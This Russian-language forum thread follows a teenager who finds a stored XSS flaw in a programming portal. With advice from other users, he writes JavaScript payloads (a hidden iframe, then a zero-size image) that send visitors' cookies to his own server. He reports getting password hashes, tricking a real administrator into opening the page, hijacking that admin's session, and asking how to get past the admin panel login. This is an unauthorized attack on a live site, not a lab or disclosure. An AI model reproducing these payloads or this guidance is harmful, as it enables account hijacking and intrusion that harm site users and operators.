![]() |
Взлом движка сайта
Здравствуйте.
Не знаю, куда лучше написать это сообщение, поэтому пишу во флейм, так как написано, что сюда можно писать все(кроме рекламы). Итак, мне 15 лет, я "увлекаюсь" web-разработками. Думаю, что неплохо владею PHP(+MySQL),HTML,CSS,JavaScript. Я нашел уязвимость на одном из порталов по программированию. Уязвимость вот какая: Есть страница редактирования настроек профиля. Там есть поля "Имя", "Email", "Откуда вы" и т.п. После проверки всех полей "на вшивость" я обнаружил, что при редактировании профиля поле "Откуда вы" не обрабатывается функцией htmlspecialchars(), а также не ограничивается в длине. То есть на страницу редактирования собственного профиля можно внедрить абсолютно любой html(+javascript, etc.) код. Теперь у меня есть несколько вопросов: 1. Почему, когда я вставляю в это незащищенное поле текст типа <? echo "VasiaLamer"; ?>, у меня не выполняется код? При просмотре исходника страницы(view source) этот код написан без изменений. То есть символы < и > не заменены. Как при этом поступить, чтобы можно было выполнить запрос в БД? 2. На странице написания приватных сообщений обнаружена такая же ошибка при попытке "переслать" сообщение другому пользователю. Я сформировал javascript'ом строку вида http://hostname.ru/code.php?cookie="куки"&host="хост" Где скрипт code.php записывает данные из строки в файлы. В результате я получил несколько хэшей паролей. Что мне с ними делать? Начать подброрку с помощью md5inside? 3. Где можно почитать про то, что такое шеллы и снифферы? |
1) Видать ты не так хорошо знаешь PHP как рассказываешь =). Возможны 2 варианта: работа с MySQL или работа с текстовой бд ввиде текстовых файлов. Возьмем случай номер 1. Все введенные тобой данные считываются из ячеек таблицы бд MySQL специальной командой. Но ведь там нигде нет вызова вставки файла в сценарий функцией include( ) или require( ). Значит введенная тобой информация ни каким образом не сможет быть интерпретирована как php код. Тоже самое с текстовой дб. Все манипуляции скорее всего происходят с массивом, созданным обращением к файле текст-дб $file=file("text.txt") или $fp=fopen("text.txt", "r"). В любом случае содержимое текст-дб будет так или иначе занесено в переменную(ые) и(или) массив(ы) и так же никаим образом не сможет проявить себя как PHP-сценарий.
2)Изучи структуру своих куков на портале и сверь с тем что тебе пришло. Если на портале есть система "запомнить меня" тогда ты сможешь пдделать куки и зайти на портал под чужим логином. Т.о. есть возм-сть получить админку. Для подмены куков существуют спец проги, или это можно делать вручную 3) www.ya.ru |
1) Видать.
Я правильно понял, с помощью этой уязвимости ничего нельзя сделать? |
Нет. Если я правильно понял, то это пассивный Xss. С его помощью можно украсть куки пользователя или задефейсить браузерозависимо страницу своего профайла.
|
Цитата:
|
Чтобы было развлекательно админам посмотреть.
|
Точно
|
Ладно, остановимся на cookies.
Написал небольшой скрипт на JavaScript, но кое-что не работает. Помогите. Загружаю на страницу невидимый фрейм, который открывает мой скрипт и пишет в строке cookies. <iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' src='javascript:var a;a=document.cookie;parent.topwindow.location.href ="http:// hostname.ru/code.php?cookie="+a;'></iframe> Почему-то переменная "a" пуста... Если неприльно попробовать вот так: <iframe frameborder=0 height=1 name="topwindow" width=1 style='display:none' onload='javascript:var a;a=document.cookie;parent.topwindow.location.href ="http:// hostname.ru/code.php?cookie="+a;'></iframe> То переменная "a" есть. В ней cookies. Но опять фрейм постоянно перезагружается. Что тут делать? Почему в первом случае переменная пуста, а во втором нет? P.S. Или может есть другой способ загрузить документ на своем сервере, чтобы пользователь этого не заметил? |
Потому что фрейм не считается тем же документом что и основная страница. Внедряй через картинку размером 0 на 0 или стили любого другого тега.
|
Ура! Внедрил код в картинку. Работает. :)
Написал у них на сайте в гостевухе адрес "http://...адрес просмотра профиля..." и еще какую-то лабуду. Один из админов клюнул и зашел по этой ссылке. :) В результате в мой файл hackcookie.txt были записаны значения cookies. С помощью программы Cookie Editor(спасибо ответившим в соседней ветке) заменил значения своих cookies на cookies из файла. Захожу на сайт - я администратор. :) Дело сделано! :) Всем спасибо! :) Но, как оказалось позже, права администратора ничего не дают, кроме как писать в гостевухе от его имени... У них на сайте 2 степени защиты. Теперь, чтобы войти в административный центр, мне надо ввести логин и пароль... но данные того админа не подходят. Точно не помню, как такая защита называется, но вроде SSL. Выскакивает такое окошко с двумя полями "логин" и "пароль". Эту защиту можно как-нибудь обойти? |
| Время: 09:17 |